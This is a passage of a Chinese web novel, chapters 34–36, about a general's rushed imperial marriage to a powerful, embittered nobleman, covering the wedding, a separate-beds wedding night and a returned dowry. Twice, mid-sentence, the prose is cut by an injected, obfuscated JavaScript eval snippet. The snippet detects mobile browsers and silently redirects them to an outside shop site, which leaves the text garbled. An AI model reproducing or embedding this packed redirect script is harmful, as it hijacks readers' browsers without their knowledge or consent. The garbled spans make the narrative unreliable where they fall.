又是熟悉的瓷器碎裂声,岚小山和岚小风跪在外间,却是不敢进去劝。直到屋子里再没什么东西可砸,蓝玄才脱力软倒在地,纤细修长的手指死死扣着地面,全身都因为愤怒而颤抖。 岚小山和弟弟对视一眼,兄弟俩便一同上前扶起自家主子。蓝玄此刻已无力挣扎,闭上眼,任由二人把自己扶到堂中软榻上,洗手净面,换上干净的衣裳。 就在岚家兄弟以为他睡着了时,榻上之人忽然睁开了眼,那双琥珀眸里一片平静,但眼尾的一抹殷红出卖了他此刻的情绪。 “叫凌管事过来。”蓝玄开口,声音清冷,听不出有什么不同。 只是,就在凌管事刚刚踏进正堂,还没来得及行礼,一个莲花纹式样的鎏金香炉便直冲她的面门而来。 凌云下意识一躲,那香炉擦着她的额角过去,带出一串血痕,她一惊,连忙跪倒在地,重重磕头道:“主子饶命,奴才知错,都是奴才办事不利。千机阁那边奴才会去处置,一定不让任何人查到主子头上。” “呵,查到我头上又能怎样,萧遥还能杀了我不成!”顿了顿,他又状似不经意地问道:“那,李明珠呢,不是说没成功吗,怎得同知府这几日也没个动静?” 凌云闻听此言,想到刚刚得到的消息,顿时汗如雨下,头也压的更低了,但自家主子何等手段她是知道的,此时也不敢欺瞒,只能硬着头皮开口道:“回主子的话,那,那李明珠伤得很重,今日一早,就有一队人马将她的院子团团围住,我们的人传不出消息。 但,但刚才,我安插在同知府外的暗探来禀报,说阿柳,已经死了,他,用了药。” “她受伤了?!”蓝玄声音顿时变得尖利。手指也不自觉地攥紧。 34. 大婚 凌云听出主子声音里透出来的一丝紧张,心中诧异,瞬间脑海一片空白,磕磕绊绊开口:“主,主子,不是您下令让千机阁——”后面的话她没敢说完,毕竟李明珠再如何也是皇上亲封的宣威将军,谋杀朝廷命官可是死罪。 蓝玄也意识到了方才的失态之举,敛了敛眸,掩饰住那阵连他自己都不知道从何而来的紧张情绪。 再抬眼时,那抹紧张之色已然隐匿无踪,又恢复了往日冷冷清清的模样。他看向匍匐在地连头都不敢抬的凌云,心中不免生出些厌恶,若非自己是男儿身,很多事不好直接出面,何须还要与这等蠢东西浪费口舌。 但眼下这事还得让她去办,于是开口道:“那小蹄子死了就死了,跟千机阁那些人一样废物,连点消息都探听不出来,留着他有何用?既然是吞药而亡,想必是什么都没说,多给他家人点银子,送他们出京罢。只是此事疑点重重,你立刻再安排人去同知府守着,不惜一切代价也要弄清楚李明珠的伤势到底如何!” 凌云刚要领命退下,蓝玄又忽然开口叫住了她:“等等,此事不能让任何人知晓,至于千机阁那边——你知道该怎么做。” 凌云心头一颤,主子这么吩咐,便是让她直接灭了千机阁,要知道千机阁的势力可是遍布大荣,蓝家虽和轩辕氏虽然势大,但若是硬碰硬,也必得折损不少精兵,这狠辣手段比起大人,也是有过之而无不及。 要是蓝玄知道她心中所想,怕也只会嗤笑一声。天下女子多自妄,觉得世上男子都应该在后宅围着她们打转,那些个世家女,明明一个个不学无术又蠢笨如猪,竟还敢肖想于他,觊觎他手中的权财。 呵,痴心妄想! 还有萧遥那狗皇帝,既然要给他赐婚,好啊,他就让她、让世人看看,敢娶他蓝玄者,必死无疑! 可是为什么,为什么当他听到千机阁杀手没能杀了李明珠时,他暴怒的情绪里,还隐约藏着一丝庆幸? 想起那双温暖的手,那双曾拉着他短暂逃开牢笼的手——不,不!蓝玄,不该如此的,你不能信,这些都是她的表象,世间女子最会伪装,你不能掉进她的陷阱里。想想你的父亲,明明身为轩辕氏的独子,尊贵无比,却因为痴心一个女人而面目可憎,以爱为食者,当爱消失时,生命也会随之枯萎。 “轩辕澈,我不会走上你的老路的,一定不会。” ...... 皇帝的动作比李明珠预想中的快,在她遇刺之后的第四天,便派人到了同知府。 来的是两名女官,其中一个李明珠还见过,就是当初去辽州宣旨女官,姓梁。 李明珠没马上出去见客,而是让小苏将她们引到主院的偏厅,自己则是一刻钟后才姗姗来迟。当然,这一刻钟她可没闲着,而是拿出事先准备好的玉容粉涂在脸上、唇上,甚至为了效果逼真,她还特意没有束发,长发如瀑披在肩头,李明珠对着铜镜看了许久,对自己这苍白的模样很满意。 一切准备妥当,李明珠便扶着连雁的手进了前厅。 果然,原本已经等得有些不耐的梁女官看到李明珠此刻虚弱的样子时,不由吃了一惊,毕竟她们上个月才在辽州见过,当时的李明珠身披甲胄头戴银冠,一双杏眼配上略带些英气的眉,刚柔并济,谁看了不说一句意气风发美少年! 然而现在,眼前之人长发披散着,面白如纸,脚步也虚浮,整个身子都靠在旁边的高大女奴的身上,好似那双纤细笔直的腿不能支撑身体重量似的。 但两位女官也是人精,只诧异了一瞬便收住了表情,尤其是梁女官,更是堆着笑意上前搀扶:“诶呦,将军呐,您可慢点儿。来来,坐这儿。” 李明珠虚弱地对她笑了笑,“梁女官,明珠身子不大爽利,让您久等了,府里下人可有怠慢?” “将军这是说的哪儿的话,都是咱家分内的事,您为国尽忠多年,圣上知道您受了伤,惦念的很,这不,还特意赏赐了些鹿茸和阿胶,让您用了补补气血。” 李明珠自是感激谢恩,让连雁把补品收下,又重新上了茶,几人这才各自落座。 “将军,咱家次来,实则还有一事,望将军解惑。”梁女官放下茶盏开口,语气状似随意,那双精明伶俐的眸却直直凝着李明珠。 来了! 李明珠心里明镜一般,却故作不知,“女官有事请讲,明珠定知无不言。” “将军莫要担心,咱们圣上关心肱骨之臣,您这才回京就遭此大难,圣上听闻后大怒,已下令刑部彻查,还您个公道。只是——”她话音一转,继续道:“刑部已经让人去您遇刺的地方看过了,但那儿被人清理过,没找出能认定刺客身份的物件,所以,咱家想问问将军,您可知那些刺客是何身份?” 这些话其实在李明珠意料之外,阿柳死了死无对证,梁女官就是来走个过场,但没想到圣上竟然让刑部彻查,看来,皇帝想打压世家的决心,比她之前想象的更大。 不过这样也好,反正阿柳这条线断了,靠她自己也很难找出真凶,交给刑部倒是能省不少事,于是李明珠仔细回忆当天遇刺的一切,将那些黑衣人的衣着、招式甚至身形,都事无巨细地都告诉了梁女官,也说了自己的猜测。 她后来也和路从分析过,那八名黑衣人的武功招式不太像世家大族豢养的私兵,反而像是江湖人士,只是她这些年一直在军中,与江湖人没什么接触,所以也不太能确定。不过若是能从这点入手,查清她们背后的主子,说不定能有意外之喜。 几人一直谈到晌午时分,两名女官才告辞离开,李明珠忙想起身相送,梁女官却拦住了她:“将军留步,圣上已经吩咐过神机营,您这几日就先在府里养伤罢,等身子好利索了,再去上值无妨。” 有了梁女官的话,李明珠接下来的几日过得很是悠闲:每日睡到日上三竿,饱饱吃上一顿午膳,下午就搬张躺椅在树下纳凉。 同知府比起她辽州的将军府要雅致许多,听说是前朝一位文官的府邸,还亲手在院子里栽了许多树木花草。春日玉兰夏日莲,秋有菊花冬有梅,一年四季,季季不同景。 就如现在,她正躺在一棵枝繁叶茂的玉兰树下,虽说玉兰花在春天开放,她没能赶上,但现在正是盛夏,整棵树绿意葱茏,刚好为她遮住刺目的日头,再吃上一块用井水冰过的西瓜,日子惬意得骨头都酥了。 然而,这样的轻松没过多久,就被一道突如其来的圣旨打破了。 “什么?!九月初八完婚?!这这这,现在都七月了,还有两个月,你还要三书六礼、置办聘礼,这怎么来得及?!”路从暴躁的声音穿透李明珠的耳膜,直震得她脑袋疼。 “我也知道时间紧啊,但梁女官说我与蓝玄都没有长辈,又是圣上赐婚,所以六礼之中的纳采、问名、纳吉和请期就省过了,聘书礼书迎书礼部已经给我准备好了,这不,一道儿送来了。” 路从听得一个头两个大,“省过了?!她们怎么不把大婚和洞房也省过了,你又不是乡里的猪,怎么着,还想给你强行配种不成?!” 李明珠被她这话糙到了,但仔细想想这事儿也确实不妥当,据她所知,大荣朝成亲是最重规矩的,即便是平民百姓家,从一开始的相看到过完三书六礼,怎么着也得半年多。世家大族就更是讲究,除了必要的礼节,男子还要绣婚服,女子则筹备喜宴,方方面面事无巨细,甚至要准备一年之久。 但到了她这儿,竟然只有两个月,别的倒还好,李明珠现在发愁的只有一件事——她没钱。 本来还想着离婚期还有段时间,能再攒攒俸禄,这样成亲时也不会太寒酸,给出去的聘礼能好看点儿,谁承想,皇帝急得连这点机会都不给她。李明珠卸力靠在椅背上,一手捂脸,另一只手伸到路从眼前。 脊背爬上不详的预感,路从警觉道:“你,你干嘛?” “借我点银子。” “要,要多少?” “你有多少?” 路从:...... 不过好歹是多年的姐妹,路从也没废话,从袖子、前襟里零零碎碎找了一小捧碎银子递给她,“这些应该有个八九两,我帐中枕头下边还有十两,明日都给你拿过来。” 李明珠捧着银子,一时不知该哭还是该笑,钱到用时方恨少啊,她们两个穷鬼,身上所有的钱加在一起,怕是都不够买蓝玄的一件衣裳。 她这些年一直在军中,用到银子的地方少之又少,所以俸禄加上田庄的租子,也攒了两三百两,这次回京之前,白灵又给她添了五十两,加上皇帝几次的赏赐,其实李明珠也不算穷,至少比起从前当乞丐和土匪时好了不知多少倍! 只是如今进了官场,花钱的地方太多,府里的生计也要维持,衣食住行样样都是开销,所以这几百两银子实在有些紧紧巴巴。 生活不易,李明珠叹气:“哎——罢了罢了,车到山前必有路,先筹备着罢。好在圣上知道我无母无父,府里除了我也没个主事的人,派了两名教习女官来,应是不用我亲自插手。” “啧,干脆也不用你亲自娶,那才好!” “路从姐姐,你怎得对这桩婚事比我反应还大,你跟蓝家也没有过节啊。” 一句话,直接说得路从跳脚:“我,我那还不是替你不平!不是你说圣上此举就是找一个无根基无背景又好掌控的棋子娶他吗,你在辽州那天高皇帝远的地方都能被算计回来,这要是真跟蓝家和轩辕氏扯上关系,还不一定闹出多少是非来!” 李明珠被这一番话也说中了心事,再一联想到回京一来经历的桩桩件件,只怕日后这样污七八糟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337270|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情是少不得了。她难得地沉浸在对未来的茫然里,忽略了路从藏在身后握紧又松开的拳头...... 大荣历元初七年,九月初八。 入秋后天气渐凉,天亮得也晚,但京城同知府却从昨夜开始就灯火通明。 李明珠身着大红喜服坐在铜镜前,她已经梳好了头,还上了些薄妆,一双杏眸在龙凤喜烛的映衬下韶光流转。 “诶呦,咱们新娘官可是被自个儿给迷住了?还不如留着眼睛多看看新郎呐!”梁女官推门而入,她受皇帝之命从昨日就来了府里,同先前那两名教习女官一起陪同她迎亲。 听了这带着揶揄的话,李明珠难得有些羞赧,还真不是她自恋。上一世每天忙着学习,除了元旦晚会或者有什么课外活动,平时也没时间打扮自己。 大荣朝的女子虽也有涂脂抹粉的,但多是贵族女子,且容易被冠上“风流小姐”之名,所以一般那些家风颇严的清流世家,都会严令禁止女儿擦香抹粉满头珠翠。 至于李明珠自己,就更不必说了,她穿越以来接触的女子,不是乞丐就是土匪,再有就是每日练得大汗淋漓的将军兵士,一堆糙娘子们,尤其是夏天,要是刚用过膳食,一走进帐中,准能熏得人当场吐出苦胆来。 李明珠在她们当中算是很爱干净了,哪怕从前在辽州,冬日里洗澡不方便,她不想麻烦伙房的人,宁可自己冒着风雪自己来回挑热水,也要日日洗澡。不过也就仅限于此了,香粉什么的,一次也没有用过。所以今日盛装打扮,她看着自己也很是新奇,一坐竟是小半个时辰。 卯时三刻,吉时到。李明珠深吸一口气,起身出门迎亲。 来到院中,刚刚还有些紧张的心情在看到珍珠时立刻荡然无存,它似乎也知道今日是主人大婚的好日子,因此整只马看起来都是器宇轩昂!头昂得高高的,双耳上还各戴了一个流苏璎珞,马鞍也换成了大红色,与珍珠那溜光水滑的马毛相得益彰,就连马尾好像都被人精心梳过,顺滑地垂在身后。 李明珠爱怜地摸了摸珍珠:“我们珍珠今日真好看,待会儿要辛苦你了,等晚上给你吃玉米和黑豆!” 梁女官上前催促道:“将军,时辰不早了,咱们得走了,莫要误了吉时啊。” 李明珠点点头,脚一蹬跨上了马背,后面的迎亲队伍也立马跟上。 同知府与蓝宅相距很远,几乎要绕过大半个京城,迎亲队伍还不能走太快,所以新郎上轿时,已是快晌午了。 蓝玄没有姐妹,所以直接由妻主牵着上轿。时隔六年,当蓝玄再一次被那双记忆中温暖的手握在掌心时,他甚至有些恍惚,仿佛又回到了那个幽暗的夜晚,他躲在甲号房的箱笼里,眼前却突然亮了,少女拉着她穿过树林、草木,他们身后是战火,前方是无尽黑暗,极度紧张之下,他唯一记得的,就是这双手。 而此刻,这双手拉着他上了喜轿,温柔地替他整理衣襟...... 等迎亲队伍再次回到同知府时,却与早上不同了,蓝家公子出嫁,十里红妆,香车开路。长长的嫁妆饶了整个江州城抬进府,围观百姓都艳羡不已。 由于新娘没有长辈亲人,所以此次高唐智商坐着的,是蓝玄的姨祖母——左相蓝平贞。 说起蓝平贞,年轻时也曾有“京城第一小姐”之称,出身于蓝家,文武双全,后来一步步登台拜相,只是唯有一个缺憾,就是膝下只有一女,愚笨懦弱不堪大用,还只是侧夫所生。因此她一直将希望寄在最看好的侄女蓝金身上。蓝金也不负众望,年纪轻轻就成了户部尚书,又娶了轩辕氏的独子,正是前途大好的时候,可那孱弱的身子终是拖累了她,才三十几岁就早早去了。 今日还是李明珠第一次见着左相大人,上首的老人已经六十多岁,鬓髪皆白,但精神很好,不似她想象中严肃狠辣,倒有些寻常人家老祖母慈祥的感觉。不过仔细观其眉眼,昔日的蓝金在眉眼之处确实与蓝平贞有几分相似。 随着礼官的唱和,李明珠携蓝玄参拜高堂,原本大婚时要拜的是女子的母父,但李明珠无母无父,左相又求了皇帝,说想要亲自看着自己这唯一的侄孙儿出嫁,圣上准了,李明珠对这事也不太在意,况且也能在左相这儿过个明路。 蓝家是文官之首,也是世家之首,她既娶了蓝玄,被卷进了这漩涡之中,自然要找一搜大船,而蓝家,在今日过后,也必定会与她绑在一起,稳固如山。 拜完堂,新人被簇拥着进了洞房,她们的婚房就是李明珠所住的正院,只是往日有些冷清的屋子里,如今贴满了大红喜字,新点燃的龙凤红烛映着蓝玄的嫁衣,喜床上洒满了红枣、花生、桂圆和圣女果,寓意早生贵女。 这样的环境下,饶是李明珠也不由有些紧张,她手里拿着喜秤,在起哄声中挑开了自己夫郎的盖头。 35. 洞房 成婚礼、入洞房是人生一大喜事,即便这桩婚事并非自愿,李明珠的心跳也不受控制地加速,她屏住呼吸,喜秤轻轻掀起盖头的一角,那大红色丝绸便滑落下来,露出一张倾国倾城的脸。周围顿时一片抽气声。 饶是曾经见过小时候的蓝玄,李明珠也不禁怔了一下。 只见那纤长如蝶翼般的睫毛微垂着,瓷白的肌肤上透着些薄红,又似乎是有些紧张,唇紧抿成了一条线。墨发半披在身后,只用一根白玉簪做装点。 就在她怔愣间,蓝玄似有所感般抬眸。 四目相对。 时隔六年,她又看见了那双熟悉的琥珀色眼眸,不,还是不一样的,他的眼尾微微上扬,比幼时更加狭长。瞳色又好像比记忆中浅一些,在烛火的映衬下,泛着细碎的金色的光。 “哎呦哎呦,瞧咱们新郎俊的,把将军的眼都看直了!”一旁来观礼的阿公老爹们捂嘴笑道。不过笑归笑,他们也没忘了正事,提醒李明珠该饮合卺酒了。 蓝玄的陪嫁男奴岚小山端来一个托盘,托盘上放的不是酒杯,而是一个被一分为二的匏瓜①,李明珠和蓝玄各执一瓢,先饮半盏,再交换饮尽对方杯中余酒,随后礼官唱着祝词将匏瓜合二为一,再用红线紧密缠绕。 喝完合卺酒,众人把李明珠也推到榻上坐下,抓起喜被上的红枣花生桂圆圣女果就往新人身上撒,“一撒天赐良缘,二撒妻夫恩爱,三撒满堂金玉,四撒女儿成群......” 李明珠:...... 她怎么记得白灵成亲时没这么复杂啊! 耳朵听着撒帐词,李明珠瞥眼观瞧旁边的蓝玄,想看看他是什么反应,结果一只眼睛刚斜过去,还没来得及细看,就被发现了。 那双冷冷清清的琥珀眸就这么不闪不避地迎着她的视线,倒是把李明珠自己整不好意思了,忙装出很忙的样子摸了摸头发,却发现今日的头梳的很整齐,一丝碎发都找不出来,便只能讪讪放下手,转而打量起婚房的布置。 虽说这婚房就是她原本的主屋,但因为每日都要去神机营上值,为图方便,干脆直接住在值房里了。大婚事宜都交由女官和小苏准备,她也一直没工夫过问,直到昨夜才得了三日假,却也只是匆匆进屋看一眼,就被梁女官拉走对礼单去了。 大抵是她太穷,毕竟银子本来就那么些,大头都花在了聘礼和喜宴上,留给婚房的便没多少了,所以也没法布置得多精致奢华,只贴了些喜字,摆了对龙凤烛。若说唯一添置的,就是靠墙的博古架,上面还放着几个摆件。 这些当然不是李明珠买的,她的每一分钱都得花到刀刃上,这东西不当吃又不当喝,就以她现在的财力,还是务实些的好。最后还是梁女官实在看不下去,觉得这婚房实在简陋,禀明皇帝,才赏赐了这些东西。 等她终于打量完屋子,那边撒帐词也刚好说完,众人没让李明珠在房里多待,直接连拉带拽地把她扯到前厅灌酒。 此次婚宴请的人不少,且多是京城权贵之家,尤其以蓝丞相马首是瞻的文官,几乎来了大半。 这些人里面,有真心来祝贺的;有想借此攀附蓝丞相的,当然,更多的还是来看热闹,以及发泄她们心里那点儿微妙的嫉恨和恶意,毕竟蓝玄背后势力庞大,单说来参加婚宴的人里,就有好些人打过他的主意,却连蓝家的大门都没进去。她们都够不着的人,最后被一个从来没听说过的泥腿子截了胡,自然是不服,只是碍于是圣上赐婚没办法罢了。 今天终于让她们逮着个机会,一群人便拽着李明珠灌酒,想着让她一会儿洞房花烛夜出出丑,也让蓝玄看看,身份高贵又怎样?富可敌国又怎样?还不是嫁了个没用的妻主!他一个男儿,嫁鸡随鸡嫁狗随狗,日后被囿于后宅,也只能依靠这个窝囊废了。 她们心中恼恨又畅快,手上嘴上却没停,一杯一杯地劝酒。所以即便有路从和同僚替她挡酒,李明珠也依然喝了不少。 她不是感受不到这帮人的敌意,只是不在乎。这点儿小儿科的东西,她要是在乎,当初在辽州就被磋磨死了。反正这婚不是她想成的,京城也不是她想回的,她们若是真嫉妒,怎么不自己去金銮殿上找皇帝说去?!也就只能在这儿灌自己几杯酒而已! 正好,肥水不流外人田,美酒也不进外人肚! 同时她也庆幸自己提前留了个心眼,知道自己不胜酒力,特意让女官准备的度数低的酒,不然要是新婚之夜醉得跟头死猪似的被抬进洞房,她干脆不要做人了。 前厅的宴席上酒肉正酣,婚房里却静得落针可闻。 岚小山和岚小风对视一眼,李明珠已经出去一个时辰了,他们家公子也坐了一个时辰。 “公子,您一天没吃东西了,厨房刚送来了几碟子点心,奴才瞧着还挺别致的,您多少用些,待会儿那李明珠回来了,还要行房事......” 岚小山一句话还没说完,蓝玄的眸子已睨向了他,带了丝阴冷:“你叫她什么?” 蓝玄一字一句嚼着这几个字:“李,明,珠” “也不看看你是个什么东西,敢直呼她的名讳?” 蓝玄的声音很轻,但岚小山顿时被吓得跪在地上:“奴,奴才错了,奴才知错了,是,是将军,李将军。”说到后面,还渐渐带了哭腔。 “滚出去!” 这便是饶过了。岚小山不敢耽搁,手脚并用爬起来退下。 他一走,岚小风也松了口气,原以为哥哥说错话,惹了主子不快,定是免不了一顿掌嘴责罚,却没想蓝玄竟就这样轻轻放过。他心中惊疑,却也不敢松懈半分,在一旁更加小心地服侍着。 又等了一会儿,蓝玄看了看天色,已经酉时三刻,他那妻主却迟迟不归。 “替我更衣。” 岚小风连忙上前替自己主子褪下繁复的婚服,又打了温水给他擦脸,蓝玄静静坐在榻边由着他伺候,双眼却盯着房门,未发一言。 外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352252|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头打更声响起,一更天。 蓝玄猛然起身,吩咐道:“叫人去前头看——” 吱呀。 李明珠推开房门,惊讶看着屋里站着的主仆二人,喝了点儿酒的脑子稍微有些迟钝,她抓着门框往一侧让了让:“你们要出去啊。” ...... 房内的气氛顿时诡异起来,也让李明珠混沌的脑袋恢复了一丝清明。她虽然喝了不少酒,但意识还算清醒,如今来了这么一出,那点残存的酒意瞬间消失不见,只留满室的尴尬。 “我,我先去沐浴。”李明珠明智地选择了澡遁。 见她逃也似的就往内室里钻,岚小风小心觑着自家公子,犹豫道:“主子,要不您先上榻?” “不必,你先下去罢。”吩咐完,蓝玄径直转身朝内室走去。 李明珠沐浴时不喜欢有人伺候,所以小苏都是提早给她备好热水和木桶放在内室,之后便不会再来打扰。 然而今日,她刚脱了衣裳坐进木桶里,就听身后有脚步声传来,李明珠大惊,府里下人知道规矩,不会进来,难道是—— 果然,刚想到这儿,蓝玄的身影便出现在屏风后,只需再往前走一步就能绕过屏风,李明珠立即大喊:“等等等等!你,你就在那儿别动......是有什么事吗?” 那人很明显怔愣一瞬,开口道:“奴来服侍您沐浴。” …… 李明珠打死也没想到,她们时隔六年来说的第一句话竟然是这个,蓝玄的嗓音清润好听,不像这时代其他男子那般尖细。若是往常,她一定会细细享受一番这声音,但现在很明显不是说话的时候,更不能让她进来,所以连忙拒绝道:“不用不用,我都是自己洗的,我很快的,你要是困了就先睡!不用管我!” 闻言,蓝玄垂眸,面上不辨情绪。 “是。” 李明珠听着脚步声逐渐远去,长舒了一口气。虽说已经同蓝玄成了亲,但她还没想好要如何面对他,毕竟二人只是皇帝赐婚,并无感情,今后的事如何谁也说不准。她不想耽误蓝玄,也不想强迫自己,所以早在得知这道婚约时,李明珠就已经想好了,不和蓝玄圆房,这样将来若有什么变故,双方都有退路。 草草洗完,换上干净的中衣,李明珠便带着一身水汽回了房。 蓝玄就坐在榻边,见她进来也没动,只是坐得更端正了些,脊背挺直,微微垂着眸掩盖他眼里的颤动,但攥紧的指尖却泄露了他的一丝情绪。 李明珠却没注意到这点,她径直走到榻边,拨开那铺得满床都是的红枣花生,抱起两床杯子,在蓝玄错愕的眼神中启唇:“时辰不早了,你早些睡罢,我就在西屋书房,有事可以喊我。” 刚往外走出几步,又突然想起了些什么,回身补充道:“咱们府里没甚么大规矩,也没有长辈要敬茶,所以早上你不用急着起,可以多睡一会儿,醒了再传膳也来得及。” 话落,转身出了婚房。 36. 嫁妆 看着李明珠毫不留恋的背影,蓝玄面上的错愕瞬间转为阴鸷,面色沉沉盯着那扇打开又关上的门,眼底翻腾着意味不明的情绪。 书房里,李明珠没有马上睡觉,而是在刚打好的地铺上裹着被子数钱。准确来说,应该是数礼单。 原本她也不想这么没出息,但奈何那蓝家公子实在不是好娶的,毕竟人家是十里红妆,她也不能真拿着个破碗就去成亲,于是李明珠一咬牙一跺脚,直接花了五百两银子去置办聘礼,剩下的钱不到二百两,全用来办婚宴了。 也就是说,现在的李明珠李大将军,兜里只有些散碎银子。 她自己倒是无所谓,大不了还是胡饼就凉水,但府里养着这么多张嘴,总得给她们发月例。 正一筹莫展之际,梁女官送来了此次婚宴宾客的礼单,直接给她解了燃眉之急。 李明珠一张一张看下来,发现里面着实有不少好东西:工部侍郎白九思送了一对芙蓉白玉杯;与蓝家有姻亲的楚家和卫家出手大方,分别送了乌木金丝桌椅和沉香木雕花黑漆屏风。就连远在千里之外的黄云旌和白灵,都差人送来了贺礼。 礼单翻到底,最后一份,是蓝玄的嫁妆单子。李明珠认认真真看完一遍,顿时便有些理解皇帝为何忌惮他了。 蓝金和轩辕澈去世后,偌大的尚书府就只有蓝玄这么一个主子,再加上轩辕氏的钱庄、驿站遍布大荣,甚至从前还未实行海禁时,其商号下还有好几条商船,生意版图早已延伸至四海,并不完全受大荣朝廷控制。 大荣朝自开国以来便允许世家豢养私兵,只要人数不超过三千,且得到皇帝准许就可以。蓝玄手上本就有六千私兵,若是再与世家联姻,则兵力便可过万,轩辕氏的金山银海又可以提供兵器粮食,足以与皇城近卫相抗衡。 若真发生宫变,负责京城守卫的金吾卫才堪堪两万人,京郊大营和神机营倒是有数万大军,但从收到消息到集合进宫也需要时间,一万装备精良的叛军要是指挥得当,谋朝篡位并非没有可能。 况且这一万私兵可能还只是明面上的数目,真决定要反,谁还不暗中筹备一番? “哎,果然是个烫手的山芋!” 不过眼下娶都娶了,也只能走一步看一步。 李明珠把那长长的嫁妆单子折好放在一旁,打算明日交给蓝玄。这个朝代没有什么女子不能动夫郎嫁妆这一说,出嫁男子的一切都是妻主的,嫁妆会在成亲当日交给妻主保管,留作家用。 不过也多是平民才如此,一般家里有些银钱和底蕴的人家,不差这点嫁妆钱,就会让夫郎自己留着,这家的女人也会讨个宠夫的好名声,尤其家里还有其她未成婚姐妹的,婚事也会更顺利些。 李明珠从一开始就没打过蓝玄嫁妆的主意,她多年孑然一身惯了,也穷惯了,女子爱财取之有道,她不想有朝一日变成一条只会趴在男子身上吸血的蛆虫。蓝玄再有钱,他的银子花着也烫手。 至于府里的开销,李明珠略一思索,挑出几份不太贵重的贺礼,等明日让小苏拿去当铺典当了,换些银钱吃饭,只要撑过这个月,领了俸禄,以后的日子就不用这么紧巴了。 一夜无话。 翌日,天刚亮,岚小山和岚小风就已等在了门口。蓝玄身份虽尊贵,但自小家教严苛,每日寅时中就要起身,卯时洗漱好去主院给母父请安,一年四季、严寒酷暑,除了被轩辕澈用鞭子抽的下不了地,其余时候都不曾迟过一次。 这两年虽说不用请安,但府里和轩辕氏的生意都要经过蓝玄的手,琐事繁多,他也仍旧天不亮便起身,看账理事。 然而今日,已是辰时,岚家兄弟在外头等了将近两个时辰都没听见里面有动静。 岚小山心思活络些,撞了撞弟弟的胳膊,又朝门那边努努嘴,欢喜道:“小风,你说将军和公子是不是昨夜太过猛烈,累得狠了,这才睡到这个时辰都没起。” 岚小风虽是弟弟,平日话也不多,但却更为稳重,听哥哥居然胆大到议论起主子们的事了,略微皱眉,不赞同地道:“主子的事,不是咱们能妄议的,哥哥难不成忘了昨夜的事了?昨天是主子开恩,没责罚于你,你可得长个记性,管好了鼻子下面这张嘴。昨儿晚上是主子与将军的洞房之夜,今日难免起迟了些,你我耐心等着就是。” 岚小山直接翻了个白眼,没把自家弟弟的话放在心上,“诶呀,这儿也没别人,就咱们兄弟俩说说而已,不会传到公子耳朵里的。” 不过话虽如此,他还是放轻了声音:“不过啊,昨夜倒是风平浪静,也没听见什么动静啊,我看话本子里那些个勾人的男倌儿,一夜下来能缠着女子叫个七八回热水,怎么咱们公子——” 他正说的尽兴,“吱呀”一声,西屋的门突然就从里面打开了。 李明珠理着袖子正要往外走,一抬眼就瞧见两个男仆杵在院里,看见她好像是看见精怪一样,眼珠子都要瞪出来了。 她略一蹙眉,沉声问道:“谁让你们进院的,苏管事没告诉你们吗,本将的主院无令不得进。” 岚小山以为李明珠听见了他方才的话,此刻已被吓得双腿发软,全身都控制不住地哆嗦着,还是岚小风率先跪下请罪:“回将军,我们还未曾见过苏管事,今日是按着以前规矩来伺候公子的,不知府里的规矩,冲撞了您,请将军恕罪,我们兄弟记下了,日后绝不再犯。” “你们是蓝玄的人?”李明珠认真打量了下这兄弟俩,看这模样应该是双生子,好像是有点眼熟,昨日回房时她也隐约记得,屋里除了蓝玄还有另一人,但是当时喝了酒,又没仔细看,眼下才认不出他们。 “没事,都起来罢,这也只是本将给自家下人定的规矩而已,本将不喜人近身伺候,但你们公子应是用惯了你们的,你二人照常伺候就行,只有一点,西屋是本将的书房,没有我的命令,谁也不能进。” 岚家兄弟齐声应下,李明珠却忽然想起了什么,快步回了屋,片刻后再出来时,手上多了几张纸。 “这是你们公子的嫁妆单子,待会儿他醒了给他,我让苏管事把后院库房的钥匙给你们,他的嫁妆都可以放进去。” 岚小风躬身上前接过,李明珠也没再多留,径直离去。 她一走,院里就剩兄弟二人面面相觑,岚小山还有些腿软,怯怯问道:“小,小风 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“方才,她与你们说什么了?”一夜未眠,蓝玄的嗓音有些沙哑,却没什么情绪,听不出喜怒。 岚小风连忙递上嫁妆单子:“将军让奴才把这嫁妆单子给您,说您的嫁妆日后您自己留着花用,还让苏管事把库房的钥匙给咱们,把东西放库房里头。” 蓝玄伸手接过,他的嫁妆已经不能用丰厚来形容了,这几年他掌管两府,手里的银子说是富可敌国都不为过,他一嫁人,所有银钱自然作为嫁妆带到妻家,他的妻主也有权动用这笔钱。 正因如此,当初才会有那么多人苍蝇逐臭般扑上来,妄图通过娶他得到他的金山银山。 蓝玄翻着手里的嫁妆单子,从金银珠宝到绫罗绸缎;从字画古玩到田庄宅院。商号、钱庄哪一个不是滔天的财富?!就这样,竟然就这样被她退了回来! 他的手渐渐开始颤抖,仿佛又回到了六年前那个深夜,他在房中满心欢喜地想象着她收到那些金银首饰时的模样,是会疑惑惊讶?还是兴奋激动。 可是都不是,他等来的,是母亲的侍从。 当看见侍从手里提着他精心挑选送出的包袱时,他的心顿时沉入谷底,好不容易燃起的一簇亮光,也在之后那一个月的禁足中熄灭。 他再也没有见过她,也没有等来只言片语。 再次听说她的消息时,她已经离开京城去辽州上任了。 蓝玄忽然有些迷茫,他不明白,明明当初在兴龙山上,她是很喜欢甲号房里那些金银器物的,而他给她的那些珠宝,远比一个土匪窝里的东西上乘,她究竟为何会拒绝? 